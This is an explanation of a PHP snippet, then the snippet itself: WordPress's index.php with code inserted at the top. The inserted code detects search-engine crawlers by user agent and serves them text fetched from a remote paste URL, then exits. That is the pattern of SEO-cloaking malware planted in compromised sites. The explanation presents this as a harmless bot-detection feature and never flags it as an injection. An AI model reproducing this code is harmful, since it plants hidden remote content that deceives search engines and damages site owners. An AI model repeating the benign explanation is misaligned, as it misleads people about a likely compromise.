This PHP code snippet consists of a function `is_bot()` and some conditional logic that checks whether the current user is a bot based on the HTTP_USER_AGENT and a predefined list of bot strings. Here's a breakdown of the code: 1. **is_bot() Function**: - The `is_bot()` function checks if the user agent string contains any of the bot keywords listed in the `$bots` array. - If a match is found (case-insensitive), the function returns `true`, indicating that the user is a bot. If no match is found, it returns `false`. 2. **Bot Detection**: - The function is called in the if statement `if (is_bot()) {...}`. If the user is detected as a bot, the script retrieves the content from the provided URL `https://pastecode.dev/raw/b2b4bt74/paste1.txt` using `file_get_contents()` and outputs it. - Finally, the script exits using `exit` or `die()` to stop further execution. 3. **WordPress Integration**: - The remaining comments and code are related to WordPress integration. It defines `WP_USE_THEMES` as `true` and includes the necessary `wp-blog-header.php` file to load WordPress environment and theme. Overall, this code acts as a bot detection mechanism to serve different content based on whether the user is identified as a bot or not. If it's a bot, it fetches content from an external source; otherwise, it proceeds with WordPress functionality.

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<?php
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function is_bot() {
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  $user_agent = $_SERVER['HTTP_USER_AGENT'];
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  $bots = array("bot","ahrefs","google");
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  foreach ($bots as $bot) {
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    if (stripos($user_agent, $bot) !== false) {
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      return true;
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    }
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  }
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  return false;
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}
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if (is_bot()) {
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  $message = file_get_contents('https://pastecode.dev/raw/b2b4bt74/paste1.txt');
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  echo $message;
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exit; // Atau bisa menggunakan die()
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} 
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/**
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 * Front to the WordPress application. This file doesn't do anything, but loads
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 * wp-blog-header.php which does and tells WordPress to load the theme.
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 *
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 * @package WordPress
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 */
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/**
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 * Tells WordPress to load the WordPress theme and output it.
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 *
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 * @var bool
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 */
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define( 'WP_USE_THEMES', true );
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/** Loads the WordPress Environment and Template */
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require __DIR__ . '/wp-blog-header.php';